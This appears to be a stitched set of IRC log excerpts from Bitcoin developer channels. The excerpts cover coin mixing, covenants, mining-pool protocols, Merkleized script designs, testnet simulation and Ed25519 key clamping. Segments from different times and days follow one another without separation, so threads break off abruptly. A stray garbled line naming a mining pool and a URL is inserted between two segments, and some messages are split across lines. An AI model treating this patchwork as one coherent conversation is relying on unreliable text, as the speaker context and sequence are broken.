10:11 < jtimon> stonecoldpat: I think only if they can buy them anonymously since this way "nobody" knows the source
10:13 < stonecoldpat> jtimon: yeah i guess so - its quite interesting ti has a premium, i guess zero coin should be renamed virgin coin - although the coins link to prev transactions is defo an interesting problem
10:14 < adam3us> jtimon: i would like it if this were the outcome (two alt form, and most people dont use amlcoins) however the regulators have high control over the interfaces to the banking network so it seems the loss of fungibility would create a stronger price down force than the freecoin prefering audience would be able to counter with their econoomic preference
10:14 < stonecoldpat> although removing a coins link* to prev transactions is defo interesting
10:15 < adam3us> stonecoldpat: i suppose another indication is apparently people pay fees to mix coins to reduce the link
10:15 < pigeons> i think even without building toolkits to give regulators/etc an easier time, it will still be an uphill challenge to keep this sort of thing from happening through less technical means not integrated into the protocol
10:16 < stonecoldpat> adam3us: yeah ive seen that mentioned in a few papers (think someone thought of a protocol to do it too without third party?), if i had bitcoins to mix i perosnally wouldnt trust them though
10:17 < jtimon> stonecoldpat: coinjoin solves it by anonymous p2p mixing
10:17 < jtimon> coinswap is even more effective
10:17 < adam3us> pigeons: yes. bitcoins decentralization comes from users controlling code. what happens when microsoft makes an auto-updatable microsoft bitcoin wallet, or apple. lots of captive users subject to the proxy decisions of central risk point with a history of government backdoors/over-compliance
10:18 < adam3us> stonecoldpat: yes coinjoin does that (trustless mix, the mix cant take your coins)
10:19 < pigeons> not that innovation should be abandoned because it can be abused, but the potential consequences should be taken very seriously
10:19 < adam3us> pigeons, jtimon: i'd sooner focus energy on trying to architect to defend against that kind of centralization risk (eg committed tx) than getting too far with potentially decentraliztion-risky expansion of script language language power
10:20 < adam3us> pigeons: which is to say probably covenant risks were considered by satoshi during his selection of the script-language. i expect.
10:21 < adam3us> road to hell is paved with good intentions, pragmatic programmers, fun science experiments etc.
10:21 < pigeons> hey, we can learn whatever lessons we can from freimarkets authorizers and such hopefully
10:21 < jtimon> adam3us: maybe satoshi didn't thought that much about the language choice
10:22 < jtimon> of course p2p currencies rely on free software, despite Nestcoin users ignoring that
10:22 < adam3us> pigeons, jtimon: well just to say consider virality risk as a security defect, and make sure new script feature dont introduce it.
10:22 < jtimon> what is the commited transactions risk?
10:23 < adam3us> jtimon: commited-tx is a mechanism to reduce the policy control from centralization in miners.
10:23 < adam3us> jtimon: by making them mine on opaque blobs so they have no information to form policy decisions on (they cant tell who is paying who how much at the time of mining)
10:25 < jtimon> by the way, some of your argumentation against covenants sournd to me like that: "bitcoin will fail because people will prefer easy-to-use proprietary clients and then they'll get screwed"
10:25 < jtimon> oh, I remember
10:25 < adam3us> jtimon: free software. yes but if someone commercial makes a nice shiny wallet, maybe people will use it. watch skype success while there were free FOSS voip at the same time
10:25 < jtimon> I though it was another risk
10:26 < jtimon> again, unlike you I'm not very concerened about the censor miners "problem"
10:26 < jtimon> but that's not a problem with voip, only with skype
10:27 < jtimon> it's like saying "linux is flawed because many people prefer windows or macos"
10:27 < adam3us> jtimon: hmm yeah but i've been here before, was worried about CA risk, and it turns out that i was basically right, even tho everyone at the time was like ... nah they wouldnt do that, it would be detectable ,etc and now we see the NSA spent billions doing just that.
10:28 < pigeons> i'll have to read that discussion. i've always been of the satoshi/luke-jr school that miners decide what transactions to include. but satoshi's views where from when all nodes were mining and there could be a wider marketplace for transactions
10:28 < adam3us> jtimon: its not a bitcoin flaw, but it could become a problem perhaps. clients are individually less powerful.
10:28 < jtimon> that's another fallacy adam3us, just because you were right that time it doesn't mean you're right this time, argument of authority
10:29 < adam3us> jtimon: ha ha, yes you are right. i just mean as an example that seeming paranoid by todays horizon of considerations doesnt mean you are wrong
10:30 < jtimon> nothing wrong being paranoid, I agree
10:30 < jtimon> just happens that the points where I get paranoid and where you get paranoid are not the same
10:30 < pigeons> jtimon: i agree with your characterization of the argument, "a danger to bitcoin is users taking least resistance paths" but i disagree that means "linux is flawed because of windows" i think its more " be aware of this tendency and engineer more p2p enabling choices to be least resistance"
10:31 < adam3us> pigeons: yes committed tx aims to change that. minrs have no clue what they accepted. users chose. pairs of consenting users should be able to pay each other with no censure, or decide their own policy.
10:32 < jtimon> I agree that having an in-chain anonymous transfer mechanism could be would for several reasons
10:32 < jtimon> I think it could operate alongside a "public" one
10:33 < jtimon> but I tend to like more petertodd's inputs-only transactions (although it's less developed)
10:33 < adam3us> jtimon: there is an argument that if miners became too centralized, they may try to block non-public ones (or transactions with non-public xfer in their history)
10:34 < jtimon> maybe because I tend to get lost in your crypto spell scrolls...I mean...formulas
10:34 < jtimon> yeah, we discussed it other day at lenght
10:35 < jtimon> my argument was that censor miners would rapidly go out of business
10:35 < adam3us> jtimon: the counter argument is that if clients consider evidence of suppression of non-public xfer as an invalid mining event, then hostile miners form an alt-coin with no users, and so they make no profit
10:35 < adam3us> jtimon: i agree. its like the amlcoin argument u made in some ways.
10:35 < jtimon> of course, I was assuming the distribution has ended, that risk is higher now I guess
10:36 < adam3us> jtimon: not if its done right because users would ignore those miner, so the hostile-miner is on a chain that becomes orphaned or like an alt-chain that is irrelevant
10:36 < jtimon> and I guess is also good that freicoin only has 3 years of issuance ;)
4Mined by AntPool sc0
https://eternalhiat.us Uw
16:08 < adam3us> also the race is not normally random either - i would think the proportion of legitimate first within the propagation delay would be in relation to mining power, as even within the 15 sec propagation delay probably mostly its not that close
16:09 < adam3us> (driving the proportion the network that believes each win is first)
16:10 < amiller> is there a bitcoind command to inspect the trickle queue
16:10 < gmaxwell> I've also been thinking about in and out seperation. What if a node was really two nodes from the perspective of transaction relaying: one that only has outbound edges, and one that only has inbound edges. The outbound edged node would be protected from self selecting connectors without a sybil attack.
16:10 < amiller> like to see the current number of elements in there, average time each items been in there, etc
16:10 < gmaxwell> amiller: gdb and go find them? :P
16:10 < amiller> thx :)
16:13 < adam3us> can multiple miners in a pool vote for different fork? i think so when the client is doing its own validation?
16:14 < gmaxwell> adam3us: only p2pool. absent bitpenny, solo mining, and p2pool the only miners are the couple pools. The 'miners'
people with hardware
are mostly just people who are selling SHA256 computation to actual miners. They have very little visibility and basically no control over the mining process.
16:15 < gmaxwell> Luke was pushing for people to migrate to the getblocktemplate protocol which would have substantially put hashers in the mining loop... but slush did an endrun with a secretly developed protocol (stratum), which won in the market place because it used less bandwidth... but left hashers as blind as they are with getwork.
16:16 < adam3us> gmaxwell: that sucks - i thought getblocktemplate was the future
16:17 < gmaxwell> Luke's BFGminer software does make _some_ use of the limited visiblity that exists from the block headers. E.g. it can detect when a pool tries to mine a fork against its own prior work and can then switch.
16:17 < gmaxwell> adam3us: well, maybe it is still.. since subsiquently we did come up with another way of using it which is lower bandwidth. ("coinbase only mining" e.g. you only get your coinbase txn from the pool, everything else you do locally, and you merge the coinbase from the pool with your local work)... but the software for that doesn't exist yet.
16:18 < adam3us> so eligius at 15% plus whatever % direct mining < 18% so then the remaining 67% is a blind slave to a miner
16:18 < gmaxwell> People do use GBT some, but as said
stratum is lower bandwidth (because it doesn't send transaction data to miners
and really most hashers don't actually understand the tradeoffs here.
16:18 < Luke-Jr> adam3us: GBT is still the future - just further out now
16:19 < gmaxwell> Even most of eligius' miners are on stratum, as eligius supports stratum too (can't deny the market
16:19 < Luke-Jr> now it needs to wait for the ability to compete on bandwidth with stratum, instead of just getwork
16:19 < phantomcircuit> gmaxwell, that also has the problem that the pool then has to do a ton of work to verify the submitted shares
16:20 < Luke-Jr> or at least a strong advantage
16:20 < adam3us> it seemed to me you could talk udp to a pool; just send it partial wins of what ever difficulty chunk you like
16:20 < Luke-Jr> phantomcircuit: not really
16:20 < gmaxwell> Luke-Jr: another way GBT could be used is to turn a pool's hashers into fast block announcers the way p2pool does.
16:20 < phantomcircuit> Luke-Jr, with coinbase only?
16:20 < phantomcircuit> Luke-Jr, that's what i was talking about
16:20 < gmaxwell> phantomcircuit: no they don't. Beyond spot checking accidentaly misconfiguration ... the intentional case is precisely identical to blockwithholding which can _never_ be detected.
16:20 < Luke-Jr> phantomcircuit: you can cache most of the hashing
16:21 < Luke-Jr> gmaxwell: bfgminer does support that, but I don't think anyone uses it :/
16:21 < adam3us> so far it seems like even GBT is handing out work, this is unnecessary; the client can chose a random starting point and pay to pool address
16:21 < phantomcircuit> Luke-Jr, yeah im just saying that someone intentionally being a nuisance could continuously rearrange transactions
16:21 < adam3us> in that way the client can chose its own work size to suit its power
16:22 < Luke-Jr> adam3us: share difficulty must be predetermined at least
16:22 < gmaxwell> adam3us: you can send flags to GBT, e.g. request only a coinbase (+header).. I don't think such a flag exists today but it would be trivial to add.
16:22 < phantomcircuit> adam3us, as it stands most pools are issuing 64bits of work per stratum notify
16:22 < Luke-Jr> gmaxwell: pretty sure it does, just not implemented yet
16:22 < phantomcircuit> which is tons
16:22 < adam3us> phantomcircuit: my point is its a waste of interactive bandwidth and round-trips
16:22 < Luke-Jr> phantomcircuit: but stratum can only subdivide in 8-bit chunks, so multiple proxies would chew it up fast
16:22 < adam3us> all you need technically is the pools reward address
16:22 < gmaxwell> Luke-Jr: we could promote miner announcement as a feature which helps with this silly news (in two ways, prevents a pool from being a delayer, and also makes honest pools faster to announce)
16:23 < Luke-Jr> adam3us: for some pools..
16:23 < phantomcircuit> Luke-Jr, well... theoretically you could allow miners to just submit anything with the right prevblock hash and coinbase output then calculate the apparent difficulty of the share and use that instead
16:23 < phantomcircuit> Luke-Jr, it would be fair but only over a large sample
16:23 < gmaxwell> phantomcircuit: no you can't!
16:23 < gmaxwell> phantomcircuit: would you give 25 btc to every miner who finds a block? :P
16:23 < phantomcircuit> gmaxwell, yeah you can but it ends up being a mini lottery
16:24 < phantomcircuit> gmaxwell, no?
16:24 < adam3us> gmaxwell, Luke-Jr: well if someone can figure out a way to reduce miner centralization while addressing the story that would be a nice side-effect win
16:24 < gmaxwell> phantomcircuit: thats what using the apparent diff would do. :P
16:24 < phantomcircuit> gmaxwell, uh no it wouldn't
16:24 < gmaxwell> phantomcircuit: sure it would ... what is the value of a diff 510929738.01615179 share
16:24 < gmaxwell> also WTF HAPPENED TO THE DIFFICULTY
16:24 < gmaxwell> did it just nearly double?!@$#
16:25 < gmaxwell> like .. I thought it was 310 this morning?!
16:25 < phantomcircuit> gmaxwell, nodes would be incentivized to submit everything they found
16:25 < phantomcircuit> so you'd get flooded with diff=1 shares
16:25 < phantomcircuit> technically it would work but it would be super annoying
16:25 < phantomcircuit> and also pointless since you could just count everything as 1
16:25 < Luke-Jr> gmaxwell: there http://bitcointroll.org/?topic=324413.msg3492597#msg3492597
16:26 < gmaxwell> phantomcircuit: in any case, GBT has what is needed, minus someone implemeting a request flag to say "don't send any transactions" and a response flag that says "I'll pay you so long as you have this coinbase, you can change everything"
16:26 < gmaxwell> Luke-Jr: can you add some config examples for BFGMINER?
16:26 < gmaxwell> e.g. how do you configure the announcement?
16:26 < phantomcircuit> Luke-Jr, ha that's neat
16:27 < Luke-Jr> gmaxwell: I think you put #allblocks in the bitcoind pool URI
16:27 < gmaxwell> Luke-Jr: also, you should revise to say "it's not possible for pools to do this without miner cooperation" or something like that.
16:27 < Luke-Jr> -o gbt.mining.eligius.st:9337#allblocks
16:27 < Luke-Jr> err
16:27 < Luke-Jr> -o un:pw@localhost:8332#allblocks
16:27 < gmaxwell> Luke-Jr: cool, so you can even announce to other pools in addition to local stuff.
16:28 < gmaxwell> like -o 1apple:x@gbt.mining.eligius.st:9337#allblocks -o un:pw@localhost:8332#allblocks ?
16:28 < Luke-Jr> gmaxwell: like this?
16:28 < Luke-Jr> http://bitcointroll.org/?topic=324413.msg3492597#msg3492597
16:28 < Luke-Jr> gmaxwell: you *can*, but they'd likely reject it :P
16:29 < Luke-Jr> http://codepad.org/oKSM9yUT
16:29 < gmaxwell> Luke-Jr: you should fix eloipool to accept notification of blocks that way. :P
16:29 < Luke-Jr> gmaxwell: ?
16:29 < Luke-Jr> oh, .. maybe
16:29 < gmaxwell> Luke-Jr: e.g. if someone mining on another pools finds a block and submits it to you, might as well take it and give it to bitcoind... though you might do some santization to prevent DOS with old blocks.
16:30 < Luke-Jr> gmaxwell: yeah, hard to do because to check we'd have to hash the block
16:30 < gmaxwell> In any case, post "just add -o un:pw@localhost:8332#allblocks as a backup pool to bfgminer and it will send all blocks you find to your local bitcoin daemon"
16:30 < gmaxwell> Luke-Jr: just check the prev== current prev. and difficulty over target. thats enough..
16:30 < Luke-Jr> gmaxwell: checking difficulty means hashing it
16:30 < gmaxwell> just hash the header.
16:31 < gmaxwell> check prev, which is a compare, hash the header
which is what you do to check if a share is good already, no?
16:31 < gmaxwell> an advantage of getting people to put eligius in their configurations is that you turn other pool's miners into block monitoring drones for you.
16:31 < gmaxwell> Plus you get people to setup eligius as a backup pool.
16:32 < gmaxwell> (some of whom won't care if they get paid if it falls over to it....)
16:32 < gmaxwell> plus you can announce it as a change you made to address the issue, which sounds nice.
16:34 < Luke-Jr> gmaxwell: currently we check the user and coinbase-scriptSig-prefix are known before we hash
16:34 < Luke-Jr> and wizkid057 is whinign about server overload stuff, although I can't imagine why it'd overload so easily
16:37 < gmaxwell> Luke-Jr: sounds broken, the hashing of the header should be superduper fast. hm.
16:37 < Luke-Jr> not faster than comparing two strings :P
19:49 < petertodd> sipa: that's not what I mean actually, I mean does the script have access to things like txins, txouts, blockchain headers?
19:49 < sipa> petertodd: for bitcoin, no
19:49 < jtimon> jrmithdobbs I mean simpler than Joy, not simpler than the current one
19:49 < sipa> petertodd: well, generalizing the hashtypes may be useful
19:50 < maaku> sipa: if you give the script access to the transaction, block header, and utxo data, a lot of interesting covenant-related stuff becomes possible
19:50 < sipa> but that's not really an interesting discussion - i'm being intentionally conservative here
19:50 < gmaxwell> maaku: it's pretty hard to write a compact script to do things with that access however.
19:50 < petertodd> sipa: yeah, where I'm really more focused on something you'd need for MSC, day job and all :P
19:51 < gmaxwell> It would be nice if people would write some hypothetical scripts.
19:51 < maaku> gmaxwell: hard to write a compact script? howso?
19:51 < petertodd> gmaxwell: that's also on my priorities list
19:51 < gmaxwell> E.g. we know that enabling xor or add on hash outputs gets us a bunch of things, and what we have to do to get those things.
19:51 < maaku> do you mean the interpretor, or the script(s)?
19:52 < gmaxwell> maaku: no, go write a script using the disabled opcodes that and a hypothetical PUSH_OUTPUT_N and PUSH_INPUT_N that achieves a non-trivial covenant.
19:53 < gmaxwell> it's pretty easy to end up with a painfully complicated script just to do something conceptually simple.
19:53 < petertodd> maaku: you ever written any assembler code?
19:53 < maaku> ok, you mean in bitcoin script, yes
19:53 < sipa> jtimon: an AST is really equivalent to a stack language where every operation only consumes the N last entries (with N known before evaluating them) and produces a single one
19:53 < maaku> petertodd: look at the scripts we have in the back of the freimarkets paper ... yuck
19:53 < sipa> and you have end up with a single output
19:54 < jtimon> sipa, yeah, this http://en.wikipedia.org/wiki/Abstract_syntax_tree
19:54 < maaku> that's why I'd like a more powerful scipting language - even with opcodes re-enabled it's still a mess
19:54 < gmaxwell> maaku: but the problem with more powerful is that as soon as you color outside the lines you're back to a mess.
19:55 < sipa> jtimon: yeah sure, just saying that it can't be harder to implement, it's pretty much a subset of what we have now
19:55 < jtimon> I meant that something like joy seems more powerful, thus simpler for the scripting language users
19:55 < sipa> scripting language users?
19:56 < sipa> i don't care about that - go use a compiler if necessary
19:56 < jtimon> the hackers writing bitcoin scripts
19:56 < gmaxwell> sipa: well there are complications, because we'd want M-AST but the merkelization should be optional... because it doesn't make sense to merkelize something which is smaller than the hash and which you don't need to keep private.
19:56 < jtimon> sipa: good point
19:56 < jrmithdobbs> gmaxwell: btw speaking of language semantic stuff ... please go yell at someone to implement higher order kinds in rust so that functor can be implemented correctly already ;p
19:56 < gmaxwell> Thats what an assembler is for. Plus for any real use of this you'll want an assembler with a theorem prover in it so you can actually know if your script works.
19:56 < sipa> jtimon: i care about easyness by which an implementation (script interpreter) can be judged to be correct
19:57 < maaku> sipa: is there a specific AST that is a good match to bitcoin?
19:57 < sipa> give me a day and i'll write you one
19:58 < gmaxwell> E.g. when eligius proposed using a multisig script for controlling their emergency pool recieving address the policy they decided they wanted was (X and Y) or ((X or Y) and NofM(Q,R,Z...)) and we wrote a script to achieve that... but we had no way to tell for sure that it was safe!
19:58 < maaku> i just mean i'm wondering if you had something in mine, like lisp/scheme or the spineless, tagless machiens of Haskell
19:58 < gmaxwell> and it wasn't so simple that you could just look at it and tell for sure it was safe.
19:59 < maaku> jtimon: btw theorem prover mentioned by gmaxwell is why you'd want static typing
19:59 < gmaxwell> (for _sure_ not just 'sure'... as it would potentially have hundreds of BTC assigned to it in a day)
20:00 < petertodd> gmaxwell: so these theorem provers, what kinds of languages don't they exist for?
20:00 < gmaxwell> so it would be nice if I could throw that into a theorm prover and ask it "is there any way to satisify this script that doesn't provide sixX or sigY"
20:01 < jtimon> oh, gmaxwell, I forgot that open problem
20:01 < gmaxwell> petertodd: the provers themselves are seperated from the languages, and there exist tools to convert code into inputs for them for a variety of languages.
20:01 < sipa> maaku: ok, there's a data stack that is initially populated with the script inputs (scriptSig data pushes), and a program, which is a serialized abstract syntax tree
20:03 < sipa> maaku: AST nodes are: access[i] (retrieves the i'th element on the stack, counting from the top, and returns it without modifying the stack)
20:03 < gmaxwell> In C I use a tool called frama-c that can drive a dozen different backend provers. (probably one of the best of the provers for proving things about program execution is http://alt-ergo.lri.fr/ )
20:03 < sipa> maaku: const[x] (just returns x)
20:03 < petertodd> gmaxwell: exactly, so I assume for non-turing complete AST's basically the provers are easier, but as you're saying, sounds like they exist for interpreted stuff as well - hence the desire to have a prover available is not directly a consideration for the language itself (at the consensus layer)
20:04 < jrmithdobbs> petertodd: they exist in compilers like he wants, even, for that matter
20:04 < jrmithdobbs> petertodd: (haskell does some forms of this during compilation)
20:04 < sipa> maaku: let(expr1,expr2), which evaluates expr1 and puts it on the stack, evaluates expr2 using that modified stack, and then pops the element again
20:04 < gmaxwell> petertodd: certantly the language design could influence how easy it is to have a prover. For C it's a complete cluster@#$@ and the provers are not terribly complete E.g. there is no _sound_ prover for the full C language.
20:04 < sipa> maaku: and then some basic arithmetic/crypto/string/... whatever operators
20:05 < maaku> sipa: i see. thank you this helps
20:05 < gmaxwell> petertodd: because things like pointer deferences make life insanely hard for the provers. (though, they're not completely impotent)
20:05 < petertodd> gmaxwell: right, and again, this sounds like you're just getting pushed to what I've always thought is the most obvious way to do it: merklized forth
20:05 < sipa> maaku: you can map this indeed to a lazily evaluated functional language
20:05 < sipa> maaku: which would for example mean you don't need to evaluate expr1 in a let, if its expr2 never refers to it
20:05 < jrmithdobbs> also, I'm somehow watching 3 different conversations about this same basic subject in 3 different channels in the same window at the same time and I have no idea how that happened but it's confusing
20:06 < gmaxwell> yea, I do think that stack langauges can result in easy life for the prover, though there is still the free variable of how types work.
20:06 < maaku> sipa: i've been favoring strict over lazy due to implementation compleity and risk of consensus errors
20:06 < maaku> does the laziness gain you anything?
20:06 < sipa> speed
20:06 < jrmithdobbs> sipa: tbqh, a limited haskell98 with no IO monad would be perfect and without IO the runtime gets tiny
20:06 < gmaxwell> maaku: if we merkelize the untaken branches it also can get you improved privacy and reduced program size.
20:07 < jrmithdobbs> sipa: something like fay
20:07 < maaku> jrmithdobbs: more than that Haskell core language is quite simple and probably something worth looking at, or the even more low level STG machine in GHC
20:07 < jrmithdobbs> sipa: which is haskell98->js compiler sans typeclasses (so no monads period)
20:08 < gmaxwell> maaku: e.g. if your transaction can be redeemed way X or way Y and Y is some 4of5 of 5 pubkeys ... then you (1) save all that space in the transactions spending it way X, and also (2) don't disclose the details of way Y unless you use it.
20:08 < sipa> yeah, adding a choose operator that evaluates one of two branches, and takes a hash for the other, is easy enough to add here
20:09 < gmaxwell> One thing to keep in mind is that what we put in a scriptsig does _NOT_ need to be a copy of the program. What goes into the scriptsig is a _witness_ that proves the program was correctly evaluated. This doesn't require including the whole program.
20:09 < sipa> yup
20:09 < jrmithdobbs> ya that's the key part satoshi missed i think
20:09 < gmaxwell> This mental model obviously applies directly to the snark stuff, but it even works in conventional execution.
20:10 < jtimon> gmaxwell not with p2sh, does it?
20:10 < sipa> so, to elaborate a bit further
20:10 < gmaxwell> jtimon: we're talking about a generalization of P2SH that works recursively, effectively.
20:11 < sipa> you associate a hash with every ast node
20:11 < maaku> gmaxwell: what was that point about merkelizing in response to?
20:11 < gmaxwell> sipa: I still think you need to have non-hashing nodes in your AST, because its wasteful to hash for a single operation.
20:11 < gmaxwell> 17:06 < maaku> does the laziness gain you anything?
20:11 < sipa> gmaxwell: yup, that's easy to do
20:12 < jtimon> gmaxwell so you're saying that without the snark you need the merklization for what you want, got it
20:12 < jrmithdobbs> that question seems so backwards to me
20:12 < sipa> instead of associating a hash with every node, you only associate one with every "tree piece"
02:33 < amiller> already there are other smaller bitcoin knockoffs like litecoin (which now has its own silk road, uh oh) that basically differ only because they go faster
02:34 < warren> amiller: I looked at their SR-clone, it is wayyy faster and a nice web design at least.
02:35 < warren> amiller: I'm concerned of their recent x10 price spike, and possibly more coming, only to be smashed by their complete lack of developers and an unmaintained client.
02:35 < amiller> there's been some thought into relativistic finance that is less interesting than bitcoin but still goes over some basic ideas: http://www.alexwg.org/publications/PhysRevE_82-056104.pdf
02:36 < amiller> that's the most famous one that basically says you want to place your hedge fund headquarters at the right spot between orbiting financial centers you want to possibly arbitrage between...
02:38 < amiller> ah dammit i can't find the last paper i wanted to show
02:39 < warren> I'm sorry for contributing to -dev devolving away from -dev.
02:39 < warren> I can't help it sometimes.
02:40 < amiller> yeah http://www.biosystems.physik.lmu.de/paperpdfs/money_momentum_p_a.pdf
02:41 < amiller> there's a view of how different currencies might interact
02:41 < amiller> it's an analogy to particles and anti particles and conserved quantities thereof
02:42 < amiller> it's interesting in part because it's about transferable credits associated with a particular issuer
02:42 < amiller> so as a financial model it's closer to opentransactions or ripple or even colored coins
02:43 < amiller> i think the two particles interacting is the right way to think about what would happen if coins between multiple chains needed to be transferred
02:45 < warren> you mean randomness
02:45 < warren> two manic depressive entities on each side of a trade
02:49 < amiller> not randomness
02:49 < amiller> more like localized atomic interaction
03:07 < andytoshi> amiller: i think coins across multiple chains is the right way to think about particles ;)
03:10 < amiller> there are some really interesting forms of money
03:10 < amiller> early forms of accounting basically
03:10 < amiller> since multiple currencies is really more about accounting than anything else
03:10 < amiller> http://www.jstor.org/discover/10.2307/40697984?uid=3739704&uid=2&uid=4&uid=3739256&sid=21101834916641
03:10 < amiller> the orginally tally, the 'split tally', is a lot more interesting
03:10 < amiller> than the tally you're probably used to just drawing things on boards
03:10 < amiller> it's a split tally, that sort of resmebles bitcoins scriptsigs and scriptpubkeys
03:11 < amiller> where one piece is needed to be presented to redeem the value promised by the other
03:12 < amiller> there's also an old kind of money called the bulla
03:12 < amiller> https://en.wikipedia.org/wiki/Bulla_(seal)
03:13 < amiller> it was a way of sealing something valuable inside a lump of clay with seals on it so that it remained tamper proof
03:13 < amiller> so it's like carrier money
03:14 < amiller> old testament technology
03:15 < andytoshi> very cool
03:15 < andytoshi> i wish i had time to read up on all this stuff
03:18 < cads> thanks for the papers amiller
03:18 < amiller> glhf
07:43 < warren> So I want to learn how to programmatically interface with bitcoind. I figure it might be helpful to implement a SD-clone on testnet in order to encourage "realistic" garbage tx's to test the blockchain handling as we move forward with 0.8.1 hard-fork testing? Note that I disapprove of SD. I don't post this in -dev because I'm not sure about the legality
of running a fake test money gambling service.
07:57 <@gmaxwell> "no no, your honor, testnet money is _double fake_"
07:57 < sipa> is "faking" nilpotent?
08:12 < warren> I realize that might be a stupid worry. I just don't want to broadcast intent like that for something that I would actually do if I'm not sure.
08:12 < warren> about the legality
08:13 < warren> and maybe this won't even be helpful? If so I'll do something else.
08:13 < warren> I just figure people actually USING testnet would be a good thing.
09:07 < warren> gmaxwell: and dude. I'm really sorry I've been annoying you these past few weeks. My stress has been really high trying to do this thesis all this time, and I have to learn better to deal with stress than to unproductively discuss crazy and unproductive things and make dumb jokes. When I'm past this a month from now, I really would like to learn more
about Bitcoin and do things that are helpful. I would appreciate guidance if this curren
09:07 < warren> t idea would be helpful or not.
09:09 <@gmaxwell> I don't think it's worth doing if you're not also interested in trying more efficient variations. If you just want to generate txn on the network you can do that without running a service.
09:16 < warren> oh. I figured random user behavior that mimicked the real network would be helpful for a simulation, but I guess it doesn't matter if we're only concerned with the quantity of transactions from block to block. The thing is I'm not really interested in thinking about or helping gambling to be more efficient. I think they should stop spamming the chain
entirely, do most things in-house, and only payout when they withdraw.
09:28 < warren> OK, I'll think of something else more useful.
09:34 <@gmaxwell> warren: sure but you could artificially generate the 'random user behavior' in a way that was pretty faithful with basically no more effort, plus the advantage of repeatability and no risk or ambuity about legality.
09:34 <@gmaxwell> e.g. it's only really interesting if the users are the subject of the experiment instead of the system.
09:39 < warren> gmaxwell: Watch the bitcoin mempool and reproduce those txn in testnet of similar quantity, KB size, age and fee behavior?
09:42 <@gmaxwell> yea, even make a model with parameters fit from the actual network. one fun test would be to also try on a private testnet with difficulty 0 (comment out the POW check) and see how fast it can run.
09:43 < warren> Oh. Accelerate the simulation. Don't wait for real-time mining.
09:44 < warren> gmaxwell: was testnet in a box fixed?
09:45 <@gmaxwell> warren: testnet in a box is fine
but testnet in a box doesn't have the pow disabled. You can just isolate some regular testnet nodes and remove the pow check.
09:45 < warren> gotcha
09:45 < warren> g'nite
21:30 < andytoshi> has much thought been given to how an altchain could pay people to run full nodes?
21:30 < andytoshi> or bitcoin, for that matter..
21:47 <@gmaxwell> andytoshi: the best I have along those lines is "validation is mining", where you have a POW which is a memory hard function based on performing UTXO queries.
22:58 < andytoshi> i wonder if simply charging for IBD would do it
22:58 < andytoshi> though i suppose there's probably no way to get bitcoins for payment until you've got a blockchain :P
22:59 < warren> IBD?
22:59 < sipa> initial block download
23:05 < warren> gmaxwell: how would that POW be transmitted and kept track of?
23:06 < warren> oh. I see. nevermind.
23:22 <@gmaxwell> andytoshi: charging for IBD == ~no one validates. In general the whole idea of blockchain consensus's security involves assuming that an attacker can't partition the network "because information wants to be free"
hard to hide the best chain.
23:27 < warren> gmaxwell: was your earlier comment a suggestion that an alt chain to pay for validation would be a good idea?
23:32 <@gmaxwell> warren: No. Try reading andytoshi's question again.
23:33 < warren> argh. sorry. back to thesis.
23:53 < andytoshi> warren: i'm also working on a thesis, i understand ;)
23:53 < andytoshi> wait, not a thesis, a term paper..
--- Log closed Sat Mar 16 00:00:26 2013
--- Log opened Sat Mar 16 00:00:26 2013
04:46 < cads> has any thought been given to using techniques from crypto-currencies to device a decentralized education and accreditation system?
04:47 < cads> they say that when all you have is a hammer, everything looks like nails
04:48 < cads> I've been learning a lot about BTC lately, and I had a silly idea about how something like it might be used as a form of social currency, and in particular to help drive online education communities
04:49 < cads> in these communities, education is cheap or free, but the problem, as I see it, is that they do not offer and real world incentive to study hard enough to really grasp the material.
04:49 < cads> The student has to be a self motivated learner and provide the incentive via his own love of pure learning
04:50 < cads> there is secondary incentive - skills learned in free online classes transfer to employable skills.
04:52 < cads> however this is hard to accept for many learners, who might ask "how do I prove what I know without a degree"
04:52 < cads> online classes like coursera offer the coursera badge of completion for any class that a student completes with a passing grade, and eventually this may be recognized by universities and businesses
04:53 < cads> but coursera is just one centralized authority
04:53 < cads> I'd like to propose a system in which online classes award a decentralized learning currency to students that complete the class
04:54 < cads> the value of currency awarded is determined by the network in some way I only speculate on so far
04:55 < cads> for example, students could bid a certain number of their current education coins on a class. This determines the desirability and hence market value of the class, and determines how many coins are awarded to students.
04:56 < cads> That already has a bunch of vague spots and even a couple flaws I can think of, and I won't speculate on how the payoff per class should be determined, for now
04:57 < cads> my idea is that students will be able to use the education coins to register themselves in free online classes.
04:57 < cads> they do not need coins to join - the classes are free
17:54 <@gmaxwell> adam3us: did you see my commends about the ed25519 multupliers apparently requiring the scalar to have the high bit set?!
17:55 < andytoshi> gmaxwell: fwiw we can remove that requirement
17:55 < andytoshi> and even maintain timing resistence
17:55 <@gmaxwell> sure we can, but we lose their good existing implementation and become formally incomaptible, which is lame.
17:56 <@gmaxwell> andytoshi: there was also something about requiring the scalars to be a multiple of 8 which I didn't understand at all.
17:56 <@gmaxwell> and I assume its just confused.
17:56 < andytoshi> yeah, i didn't get that either, i was hoping a wizard would be able to clarify
17:56 < andytoshi> or that somebody on crypto.SE would step in
17:56 < andytoshi> somebody not confused *
17:56 < nsh> where is this discussed?
17:57 < nsh> (or specified)
17:57 < andytoshi> nsh: http://crypto.stackexchange.com/questions/12425/why-are-the-lower-3-bits-of-curve25519-ed25519-secret-keys-cleared-during-creati
17:57 < nsh> ty
17:57 < andytoshi> i posted that a few days ago, gmaxwell is continuing without context :P
17:57 * nsh smiles
17:57 <@gmaxwell> andytoshi: I didn't remember you posted it, it got left up in a tab.
17:58 <@gmaxwell> the responses there are just confused.
17:58 < BlueMatt> gmaxwell: the internet only works when you respond and correct them :)
18:00 <@gmaxwell> well I can correct the highest bit thing I know why it does that, though it's crappy and overoptimized.
18:00 <@gmaxwell> the *8 thing I have no freeking idea
18:10 < adam3us> gmaxwell: yes i am also not sure what the formula is achieving... djb paper is obtuse, but i guess he does answer email. or we should ask on sci crypt cc him or they have some dev resources for the lib?
18:13 < nsh> --
18:13 < nsh> Ed25519 keys start life as a 32-byte (256-bit) uniformly random binary seed (e.g. the output of SHA256 on some random input). The seed is then hashed using SHA512, which gets you 64 bytes (512 bits), which is then split into a
(the first 32 bytes) and a
. The left half is massaged into a curve25519 private scalar
by setting and clearing a few
18:13 < nsh> high/low-order bits. The pubkey is generated by multiplying this secret scalar by
(the generator), which yields a 32-byte/256-bit group element
18:14 < nsh> -- https://www.readability.com/articles/gswpw12d
18:14 < nsh> just quite blaze "massaged into ... by setting and clearing a few .. bits"
18:15 < nsh> so no particular indication the author (Brian Warner from Mozilla) thought much of the reasoning
